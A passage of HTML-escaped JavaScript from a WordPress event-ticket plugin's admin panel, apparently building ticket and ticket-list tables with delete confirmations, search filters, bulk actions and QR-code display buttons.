									__renderTabelleListen();
									tabelle_codes_datatable.ajax.reload();
								}
							});
		        		});
					});
				table.on(&#039;click&#039;, &#039;button[data-type=&quot;deleteAllTickets&quot;]&#039;, e=&gt;{
					let data = tabelle_liste_datatable.row( $(e.target).parents(&#039;tr&#039;) ).data();
					LAYOUT.renderYesNo(
						_x(&#039;Delete all tickets?&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
						sprintf(__(&#039;Are you sure you want to delete ALL tickets from the list &quot;%s&quot;?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), &#039;&lt;b&gt;&#039;+data.name+&#039;&lt;/b&gt;&#039;) + &#039;&lt;br&gt;&lt;br&gt;&lt;span style=&quot;color:#b32d2e;&quot;&gt;&#039; + __(&#039;This action cannot be undone!&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/span&gt;&#039;,
						()=&gt;{
							let content = $(&#039;&lt;div&gt;&#039;);
							content.append(&#039;&lt;p&gt;&#039; + __(&#039;To confirm deletion, type DELETE in the field below:&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;);
							let confirmInput = $(&#039;&lt;input type=&quot;text&quot; style=&quot;width:100%;&quot; placeholder=&quot;DELETE&quot;&gt;&#039;);
							content.append(confirmInput);
							LAYOUT.renderYesNo(
								_x(&#039;Final confirmation&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
								content,
								()=&gt;{
									if (confirmInput.val().trim().toUpperCase() !== &#039;DELETE&#039;) {
										alert(__(&#039;You must type DELETE to confirm.&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
										return;
									}
									let btn = $(e.target);
									btn.prop(&#039;disabled&#039;, true).text(__(&#039;Deleting...&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
									_makePost(&#039;removeAllCodesFromList&#039;, {&#039;list_id&#039;: data.id}, result=&gt;{
										btn.prop(&#039;disabled&#039;, false).text(_x(&#039;Delete All Tickets&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
										tabelle_codes_datatable.ajax.reload();
										if (result &amp;&amp; result.deleted !== undefined) {
											alert(sprintf(__(&#039;%d tickets have been deleted.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), result.deleted));
										}
									});
								}
							);
						}
					);
				});
			}); // end of loading lists
		} // __renderTabelleListen
			tabelle_codes.css(&quot;width&quot;, &quot;100%&quot;);

			STATE = &#039;admin&#039;;
			DIV.html(_getSpinnerHTML());
			getOptionsFromServer(optionData=&gt;{
				DIV.html(&#039;&#039;);
				DIV.append(this.renderMainBody());

				let btn_liste_empty = $(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-secondary&quot;).html(__(&#039;Empty table&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
					LAYOUT.renderYesNo(__(&#039;Empty table&#039;, &#039;event-tickets-with-ticket-scanner&#039;), sprintf(/* translators: %s: title list of tickets */__(&#039;Do you want to empty the &quot;%s&quot; table? All data will be lost. No ticket will be deleted. Just the lists.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), _x(&#039;List of tickets&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)), ()=&gt;{
						LAYOUT.renderYesNo(__(&#039;Empty table - last chance&#039;, &#039;event-tickets-with-ticket-scanner&#039;), sprintf(/* translators: %s: title list of tickets */__(&#039;Are you sure? You will not be able to restore the data, except you have a backup of your database. All data will be lost. No ticket will be deleted. Just the lists.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), _x(&#039;List of tickets&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)), ()=&gt;{
							_makeGet(&#039;emptyTableLists&#039;, null, ()=&gt;{
								tabelle_codes_datatable.ajax.reload();
								__renderTabelleListen();
							});
						});
					});
				});
				let btn_liste_new = $(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-primary&quot;).html(_x(&#039;Add&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
					__showMaskList(null);
				});
				this.div_liste.html($(&#039;&lt;div/&gt;&#039;).css(&#039;text-align&#039;, &#039;right&#039;).css(&#039;margin-bottom&#039;,&#039;10px&#039;).append(btn_liste_empty).append(isPremium()?&#039;&#039;:&#039; &#039;+sprintf(/* translators: 1: max possible lists amount 2: link to premium */__(&#039;Max. %1$d list. Unlimited with %2$s&#039;, &#039;event-tickets-with-ticket-scanner&#039;), myAjax._max.lists, getLabelPremiumOnly())+&#039; &#039;).append(btn_liste_new));
				this.div_liste.append(tplace);

				__renderTabelleListen();

				let additionalColumn_counter_before_created_field = 0;
				let additionalColumn = {customerName:&#039;&#039;,customerCompany:&#039;&#039;,redeemAmount:&#039;&#039;,confirmedCount:&#039;&#039;};
				if (_getOptions_isActivatedByKey(&#039;displayAdminAreaColumnConfirmedCount&#039;)) {
					additionalColumn.confirmedCount = &#039;&lt;th&gt;&#039;+_x(&#039;Confirmed Count&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;;
				}
				if (_getOptions_isActivatedByKey(&#039;displayAdminAreaColumnBillingName&#039;)) {
					additionalColumn.customerName = &#039;&lt;th&gt;&#039;+_x(&#039;Customer&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;;
					additionalColumn_counter_before_created_field++;
				}
				if (_getOptions_isActivatedByKey(&#039;displayAdminAreaColumnBillingCompany&#039;)) {
					additionalColumn.customerCompany = &#039;&lt;th&gt;&#039;+_x(&#039;Company&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;;
					additionalColumn_counter_before_created_field++;
				}
				if (_getOptions_isActivatedByKey(&#039;displayAdminAreaColumnRedeemedInfo&#039;)) {
					additionalColumn.redeemAmount = &#039;&lt;th&gt;&#039;+_x(&#039;Redeem Amount&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;;
				}

				tabelle_codes.html(&#039;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align:left;padding-left:10px;&quot;&gt;&lt;input type=&quot;checkbox&quot; data-id=&quot;checkAll&quot;&gt;&lt;/th&gt;&lt;th&gt;&amp;nbsp;&lt;/th&gt;&lt;th align=&quot;left&quot;&gt;&#039;
					+_x(&#039;Ticket&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;+additionalColumn.customerName+additionalColumn.customerCompany+&#039;&lt;th align=&quot;left&quot;&gt;&#039;
					+_x(&#039;List&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th align=&quot;left&quot;&gt;&#039;
					+_x(&#039;Created&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;+additionalColumn.confirmedCount+&#039;&lt;th align=&quot;left&quot;&gt;&#039;
					+_x(&#039;Redeemed&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;+additionalColumn.redeemAmount+&#039;&lt;th&gt;&#039;
					+_x(&#039;OrderId&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th&gt;CVV&lt;/th&gt;&lt;th&gt;&#039;
					+_x(&#039;Status&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th &gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tfoot&gt;&lt;th colspan=&quot;10&quot; style=&quot;text-align:left;font-weight:normal;padding-left:0;padding-bottom:0;&quot;&gt;&lt;/th&gt;&lt;/tfoot&gt;&#039;);
				tabelle_codes.find(&#039;input[data-id=&quot;checkAll&quot;]&#039;).on(&#039;click&#039;, (e)=&gt; {
					let isChecked = $(e.currentTarget).prop(&#039;checked&#039;);
					let found = false;
					tabelle_codes.find(&#039;input[data-type=&quot;select-checkbox&quot;]&#039;).each((i,v)=&gt;{
						$(v).prop(&#039;checked&#039;, isChecked);
						found = true;
					});
					if (isChecked &amp;&amp; found) {
						//drop_codes_bulk.prop(&quot;disabled&quot;, false);
					} else {
						//drop_codes_bulk.prop(&quot;disabled&quot;, true);
					}
				});
				let btn_codes_new = $(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-primary&quot;).html(_x(&#039;Add&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
					if (tabelle_liste_datatable.page.info().recordsTotal === 0) {
						alert(__(&quot;You need to create a ticket list first before you can add tickets.&quot;, &#039;event-tickets-with-ticket-scanner&#039;));
					} else {
						if (!isPremium() &amp;&amp; tabelle_codes_datatable.page.info().recordsTotal &gt; myAjax._max.codes_total) {
							alert(__(&quot;You reached maximum amount of tickets. You need to delete tickets before you can add more new tickets or buy the premium version to have unlimited tickets.&quot;, &#039;event-tickets-with-ticket-scanner&#039;));
						} else {
							LAYOUT.renderAddCodes();
						}
					}
				});
				let btn_codes_empty = $(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-secondary&quot;).html(__(&#039;Empty table&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
					LAYOUT.renderYesNo(__(&#039;Empty table&#039;, &#039;event-tickets-with-ticket-scanner&#039;), sprintf(/* translators: %s: name of ticket table */__(&#039;Do you want to empty the &quot;%s&quot; table? All data will be lost.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), _x(&quot;Event Tickets&quot;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)), ()=&gt;{
						LAYOUT.renderYesNo(__(&#039;Empty table - last chance&#039;, &#039;event-tickets-with-ticket-scanner&#039;), sprintf(/* translators: %s: name of ticket table */__(&#039;Are you sure? You will not be able to restore the data, except you have a backup of your database. All data will be lost.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), _x(&quot;Event Tickets&quot;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)), ()=&gt;{
							_makeGet(&#039;emptyTableCodes&#039;, null, ()=&gt;{
								tabelle_codes_datatable.ajax.reload();
							});
						});
					});
				});
				let btn_codes_reload = $(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-secondary&quot;).html(__(&#039;Refresh table&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
					LAYOUT.renderSpinnerShow();
					tabelle_codes_datatable.ajax.reload();
					window.setTimeout(()=&gt;{LAYOUT.renderSpinnerHide();}, 1500);
				});
				let btn_codes_export = $(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-secondary&quot;).html(_x(&#039;Export tickets&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
					//let url = _requestURL(&#039;exportTableCodes&#039;, null);
					//window.open(url, &quot;_blank&quot;);
					//console.log(tabelle_codes_datatable.page.info());
					__showMaskExport(tabelle_codes_datatable.page.info().recordsTotal);
				});
				let drop_codes_bulk = $(&#039;&lt;select data-id=&quot;bulk-code-action&quot; /&gt;&#039;)
					.html(&#039;&lt;option value=&quot;&quot;&gt;&#039;+_x(&#039;Bulk Action&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
					//.append(&#039;&lt;option value=&quot;delete&quot;&gt;&#039;+_x(&#039;Delete&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				for (var key in BulkActions.codes) {
					let entry = BulkActions.codes[key];
					drop_codes_bulk.append(&#039;&lt;option value=&quot;&#039;+key+&#039;&quot;&gt;&#039;+entry.label+&#039;&lt;/option&gt;&#039;);
				}
				drop_codes_bulk.on(&#039;change&#039;, ()=&gt;{
					let val = drop_codes_bulk.val();
					if (val !== &quot;&quot;) {
						let selectedElems = [];
						tabelle_codes.find(&#039;input[data-type=&quot;select-checkbox&quot;]&#039;).each((i,v)=&gt;{
							if ($(v).prop(&quot;checked&quot;)) selectedElems.push(v);
						});
						if (selectedElems.length) {
							let fkt = null;
							if (typeof BulkActions.codes[val] == &quot;function&quot;) {
								fkt = BulkActions.codes[val];
							} else {
								fkt = BulkActions.codes[val].fkt;
							}
							fkt &amp;&amp; fkt(selectedElems, tabelle_codes_datatable);
						} else {
							LAYOUT.renderInfoBox(_x(&#039;Bulk Action&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Please select at least one ticket first.&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
						}
					}
					drop_codes_bulk.val(&#039;&#039;);
				});
				let drop_search = $(&#039;&lt;select data-id=&quot;filter_type&quot; /&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;&quot;&gt;&#039;+_x(&#039;Default search filter&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;LIST:&quot;&gt;&#039;+_x(&#039;Filter for list id&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;ORDERID:&quot;&gt;&#039;+_x(&#039;Filter for order id&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;CVV:&quot;&gt;&#039;+_x(&#039;Filter for cvv value&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;STATUS:&quot;&gt;&#039;+_x(&#039;Filter for status (1:active, 0:inactive, 2:stolen)&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;REDEEMED:&quot;&gt;&#039;+_x(&#039;Filter for redeemed status (0:not redeemed yet, 1:redeemed)&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;USERID:&quot;&gt;&#039;+_x(&#039;Filter for registered user id&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;CUSTOMER:&quot;&gt;&#039;+_x(&#039;Filter for customer name in billing first and last name&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;PRODUCTID:&quot;&gt;&#039;+_x(&#039;Filter for product id&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.append(&#039;&lt;option value=&quot;DAYPERTICKET:&quot;&gt;&#039;+_x(&#039;Filter for chosen date (enter YYYY-MM-DD)&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;);
				drop_search.on(&quot;change&quot;, e=&gt;{
					let old_search = tabelle_codes_datatable.search().trim();
					let search = drop_search.val();
					if (old_search &amp;&amp; old_search.length &gt; 0) {
						search = old_search + &quot; &amp; &quot; + search;
					}
					tabelle_codes_datatable.search(search);
				});
				this.div_codes
					.html($(&#039;&lt;div/&gt;&#039;).css(&#039;text-align&#039;, &#039;right&#039;).css(&#039;margin-bottom&#039;,&#039;10px&#039;)
					.append(drop_codes_bulk)
					.append(drop_search)
					.append(btn_codes_export)
					.append(btn_codes_empty)
					.append(btn_codes_reload)
					.append(isPremium()?&#039;&#039;:&#039; &#039;+sprintf(/* translators: 1: max amount tickets 2: premium link */__(&#039;Max. %1$d tickets. Unlimited with %2$s&#039;, &#039;event-tickets-with-ticket-scanner&#039;), myAjax._max.codes_total, getLabelPremiumOnly())+&#039; &#039;).append(btn_codes_new));
				this.div_codes.append(tabelle_codes);

				let table_columns = [
					{&quot;data&quot;:null,&quot;orderable&quot;:false,&quot;defaultContent&quot;:&#039;&#039;, &quot;render&quot;:function (data, type, row) {
						return &#039;&lt;input type=&quot;checkbox&quot; data-type=&quot;select-checkbox&quot; data-key=&quot;&#039;+data.id+&#039;&quot; data-code=&quot;&#039;+data.code+&#039;&quot;&gt;&#039;;
					}},
					{&quot;data&quot;:null,&quot;className&quot;:&#039;details-control&#039;,&quot;orderable&quot;:false,&quot;defaultContent&quot;:&#039;&#039;},
					{&quot;data&quot;:&quot;code_display&quot;, &quot;orderable&quot;:true, &quot;render&quot;:(data,type,row)=&gt;{
						return destroy_tags(data);
					}},
					{&quot;data&quot;:&quot;list_name&quot;, &quot;orderable&quot;:true, &quot;render&quot;:(data,type,row)=&gt;{
						return destroy_tags(data);
					}},
					{&quot;data&quot;:&quot;time&quot;, &quot;className&quot;:&quot;dt-center&quot;, &quot;orderable&quot;:true,
						&quot;render&quot;:function (data, type, row) {
							return &#039;&lt;span style=&quot;display:none;&quot;&gt;&#039;+data+&#039;&lt;/span&gt;&#039;+DateFormatStringToDateTimeText(data);
						}
					},
					{&quot;data&quot;:&quot;redeemed&quot;, &quot;orderable&quot;:true, &quot;className&quot;:&quot;dt-center&quot;, &quot;render&quot;:function(data, type, row) {
						if (data == 1) {
							return &#039;yes&#039;;
						} else {
							return &#039;&#039;;
						}
					}},
					{&quot;data&quot;:&quot;order_id&quot;, &quot;className&quot;:&quot;dt-right&quot;, &quot;orderable&quot;:true},
					{&quot;data&quot;:null, &quot;orderable&quot;:false, &quot;className&quot;:&quot;dt-center&quot;, &quot;render&quot;:function(data, type, row){
						return data.cvv === &quot;&quot; ? &quot;&quot; : &#039;****&#039;;
					}},
					{&quot;data&quot;:null, &quot;orderable&quot;:true, &quot;className&quot;:&quot;dt-center&quot;, &quot;render&quot;:function(data, type, row){
						let _stat = &#039;&#039;;
						if (data.meta != &quot;&quot;) {
							let metaObj = JSON.parse(data.meta);
							if (typeof metaObj[&#039;used&#039;] !== &quot;undefined&quot;) {
								if (metaObj.used.reg_request !== &quot;&quot;) _stat = &#039;/used&#039;;
							}
						}
						if (data.aktiv === &quot;2&quot;) return &#039;&lt;span style=&quot;color:red;&quot;&gt;&#039;+_x(&#039;stolen&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&#039;+_stat;
						return data.aktiv === &quot;1&quot; ? &#039;&lt;span style=&quot;color:green;&quot;&gt;&#039;+__(&#039;active&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&#039;+_stat : &#039;&lt;span style=&quot;color:grey;&quot;&gt;&#039;+_x(&#039;is inactiv&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&#039;+_stat;
					}},
					{&quot;data&quot;:null,&quot;orderable&quot;:false,&quot;defaultContent&quot;:&#039;&#039;,&quot;className&quot;:&quot;buttons dt-right dt-nowrap&quot;,&quot;width&quot;:&quot;120px&quot;,
						&quot;render&quot;: function ( data, type, row ) {
							return &#039;&lt;button class=&quot;button-secondary&quot; data-type=&quot;edit&quot;&gt;&#039;+_x(&#039;Edit&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/button&gt; &lt;button class=&quot;button-secondary&quot; data-type=&quot;delete&quot;&gt;&#039;+_x(&#039;Delete&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/button&gt;&#039;;
						}
					}
				];
				let addition_column_offset = 0;
				if (_getOptions_isActivatedByKey(&#039;displayAdminAreaColumnBillingName&#039;)) {
					addition_column_offset++;
					table_columns.splice(3, 0, {
						&quot;data&quot;:&quot;_customer_name&quot;,&quot;orderable&quot;:false
					});
				}
				if (_getOptions_isActivatedByKey(&#039;displayAdminAreaColumnBillingCompany&#039;)) {
					addition_column_offset++;
					table_columns.splice(3, 0, {
						&quot;data&quot;:&quot;_customer_company&quot;,&quot;orderable&quot;:false
					});
				}
				if (_getOptions_isActivatedByKey(&#039;displayAdminAreaColumnConfirmedCount&#039;)) {
					addition_column_offset++;
					table_columns.splice(4+addition_column_offset, 0, {
						&quot;data&quot;:null,&quot;orderable&quot;:false,&quot;defaultContent&quot;:&#039;&#039;,&quot;className&quot;:&quot;dt-center&quot;,
						&quot;render&quot;:function(data,type,row) {
							let ret = 0;
							let metaObj = getCodeObjectMeta(data);
							if(!metaObj) return ret;
							if (typeof metaObj.confirmedCount != &quot;undefined&quot;) {
								ret = metaObj.confirmedCount;
							}
							return ret;
						}
					});
				}
				if (_getOptions_isActivatedByKey(&#039;displayAdminAreaColumnRedeemedInfo&#039;)) {
					addition_column_offset++;
					table_columns.splice(5+addition_column_offset, 0, {
						&quot;data&quot;:null,&quot;orderable&quot;:false,&quot;defaultContent&quot;:&#039;&#039;,&quot;className&quot;:&quot;dt-center&quot;,
						&quot;render&quot;:function(data,type,row) {
							let ret = &#039;&#039;;
							if (row._max_redeem_amount &gt; 0) {
								ret = row._redeemed_counter+&#039;/&#039;+row._max_redeem_amount;
							} else {
								ret = row._redeemed_counter+&#039;/unlimited&#039;;
							}
							return ret;
						}
					});
				}

				tabelle_codes_datatable = $(this.div_codes).find(&#039;#&#039;+id_codes).DataTable({
					&quot;language&quot;: {
						emptyTable: &#039;&lt;div style=&quot;text-align:left;&quot;&gt;&lt;b&gt;&#039;+__(&#039;You have no tickets yet.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/b&gt;&#039;
							+ &#039;&lt;p&gt;Tickets (number) can be added by two ways.&lt;/p&gt;&#039;
							+ &#039;&lt;ol&gt;&#039;
							+ &#039;&lt;li&gt;Automatically with each sale of a ticket product.&lt;br&gt;Please configure a woocommerce product to be a ticket product - recommended&lt;br&gt;&lt;a href=&quot;https://vollstart.com/event-tickets-quick-start-video&quot; target=&quot;_blank&quot;&gt;Check out the quick start video&lt;/a&gt;&lt;/li&gt;&#039;
							+ &#039;&lt;li&gt;Or add ticket numbers upfront to a ticket list&lt;br&gt;Click on the add button to import ticket numbers.&lt;br&gt;For this activate the option &lt;b&gt;wcassignmentReuseNotusedCodes&lt;/b&gt;&lt;/li&gt;&lt;/ol&gt;&#039;
							+ &#039;&lt;/div&gt;&#039;
					},
					&quot;responsive&quot;: true,
					&quot;search&quot;: {
						&quot;search&quot;: typeof PARAS.code !== &quot;undefined&quot; ? encodeURIComponent(PARAS.code.trim()) : &#039;&#039;
					},
					footerCallback: function(row, data, start, end, display) {
						let data_anser = tabelle_codes_datatable.ajax.json();
						let text = sprintf(/* translators: 1: amount tickets 2: total amount tickets */__(&#039;Redeemed tickets: %1$d (filtered) of %2$d (total redeemed tickets)&#039;, &#039;event-tickets-with-ticket-scanner&#039;), data_anser.redeemedRecordsFiltered, data_anser.redeemedRecordsTotal);
						var api = this.api();
						$(api.column(1).footer()).html(text);
						//$(api.tables().footer()).html(text);
					},
					&quot;processing&quot;: true,
	    			&quot;serverSide&quot;: true,
	    			&quot;stateSave&quot;: false,
					&quot;ajax&quot;: {
						&quot;url&quot;: _requestURL(&#039;getCodes&#039;),
						&quot;type&quot;: &#039;GET&#039;
					},
	    			&quot;order&quot;: [[ 4 + additionalColumn_counter_before_created_field, &quot;desc&quot; ]],
	    			&quot;columns&quot;: table_columns,
					&quot;initComplete&quot;: function () {
						LAYOUT.renderSpinnerHide();
					},
					&quot;autowidth&quot;:true
				});
				tabelle_codes.on(&#039;click&#039;, &#039;button[data-type=&quot;edit&quot;]&#039;, function (e) {
	        		let data = tabelle_codes_datatable.row( $(this).parents(&#039;tr&#039;) ).data();
	        		__showMaskCode(data);
				});
				tabelle_codes.on(&#039;click&#039;, &#039;button[data-type=&quot;delete&quot;]&#039;, function (e) {
	        		let data = tabelle_codes_datatable.row( $(this).parents(&#039;tr&#039;) ).data();
	        		LAYOUT.renderYesNo(_x(&#039;Do you want to delete?&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Are you sure, you want to delete this ticket?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;br&gt;&lt;b&gt;&#039;+data.code+&#039;&lt;/b&gt;&#039;, ()=&gt;{
	        			let _data = {&#039;id&#039;:data.id};
	        			_makePost(&#039;removeCode&#039;, _data, result=&gt;{
							tabelle_codes_datatable.ajax.reload();
						});
	        		});
				});
	    		$(&#039;#&#039;+id_codes+&#039; tbody&#039;).on(&#039;click&#039;, &#039;td.details-control&#039;, function () {
	    			function ___format(d) {
	    				let metaObj = [];
	    				if (d.meta) {
	    					metaObj = JSON.parse(d.meta);
    					}
	    				let div = $(&#039;&lt;div/&gt;&#039;);

						// hole das aktuelle Metaobj
						function __getData(_codeObj) {
							div.html(_getSpinnerHTML());
							_makeGet(&#039;getMetaOfCode&#039;,{&#039;code&#039;:d.code}, dataMeta=&gt;{
								if (_codeObj) { // um eine Aktualisierung in das codeObj aufzunehmen
									_codeObj.meta = JSON.stringify(dataMeta);
									updateCodeObject(d, _codeObj);
									metaObj = getCodeObjectMeta(d);
								}

								div.html(&quot;&quot;);
								d.meta = JSON.stringify(dataMeta);
								d.metaObj = dataMeta;

								let btn_grp = $(&#039;&lt;div/&gt;&#039;).addClass(&quot;btn-group&quot;).appendTo(div);
								$(&#039;&lt;button&gt;&#039;).html(_x(&#039;Display QR with ticket number&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(btn_grp).on(&quot;click&quot;, e=&gt;{
									let id = &#039;qrcode_&#039;+d.code+&#039;_&#039;+time();
									let content = _x(&#039;This QR image contains&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;br&gt;&lt;b&gt;&#039;+d.code+&#039;&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;div id=&quot;&#039;+id+&#039;&quot; style=&quot;text-align:center;&quot;&gt;&lt;/div&gt;&lt;script&gt;jQuery(&quot;#&#039;+id+&#039;&quot;).qrcode(&quot;&#039;+d.code+&#039;&quot;);&lt;/script&gt;&#039;;
									LAYOUT.renderInfoBox(_x(&#039;QR with ticket number&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), content);
								});
								if (d.metaObj.wc_ticket.is_ticket &amp;&amp; typeof d.metaObj.wc_ticket._public_ticket_id !== &quot;undefined&quot; &amp;&amp; d.metaObj.wc_ticket._public_ticket_id != &quot;&quot;) {
									$(&#039;&lt;button&gt;&#039;).html(_x(&#039;Display QR with PUBLIC ticket number&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(btn_grp).on(&quot;click&quot;, e=&gt;{
										let id = &#039;qrcode_&#039;+d.code+&#039;_&#039;+time();
										let content = _x(&#039;This QR image contains&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;br&gt;&lt;b&gt;&#039;+d.metaObj.wc_ticket._public_ticket_id+&#039;&lt;/b&gt;&lt;br&gt;&#039;+_x(&#039;Can be used with the ticket scanner&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;br&gt;&lt;div id=&quot;&#039;+id+&#039;&quot; style=&quot;text-align:center;&quot;&gt;&lt;/div&gt;&lt;script&gt;jQuery(&quot;#&#039;+id+&#039;&quot;).qrcode(&quot;&#039;+d.metaObj.wc_ticket._public_ticket_id+&#039;&quot;);&lt;/script&gt;&#039;;
										LAYOUT.renderInfoBox(_x(&#039;QR with ticket number&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), content);
									});
								}
								if (d.metaObj.wc_ticket.is_ticket &amp;&amp; typeof d.metaObj.wc_ticket._qr_content !== &quot;undefined&quot; &amp;&amp; d.metaObj.wc_ticket._qr_content != &quot;&quot;) {
									$(&#039;&lt;button&gt;&#039;).html(_x(&#039;Display QR with your own QR content&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(btn_grp).on(&quot;click&quot;, e=&gt;{
										let id = &#039;qrcode_own_&#039;+d.code+&#039;_&#039;+time();
										let content = _x(&#039;This QR image contains&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;br&gt;&lt;b&gt;&#039;+d.metaObj.wc_ticket._qr_content+&#039;&lt;/b&gt;&lt;br&gt;&#039;+_x(&#039;Can be used with the ticket scanner&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;br&gt;&lt;div id=&quot;&#039;+id+&#039;&quot; style=&quot;text-align:center;&quot;&gt;&lt;/div&gt;&lt;script&gt;jQuery(&quot;#&#039;+id+&#039;&quot;).qrcode(&quot;&#039;+d.metaObj.wc_ticket._qr_content+&#039;&quot;);&lt;/script&gt;&#039;;
										LAYOUT.renderInfoBox(_x(&#039;QR with ticket number&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), content);
									});
								}
								if (typeof d.metaObj._QR != &quot;undefined&quot; &amp;&amp; typeof d.metaObj._QR.directURL != &quot;undefined&quot; &amp;&amp; d.metaObj._QR.directURL != &quot;&quot;) {
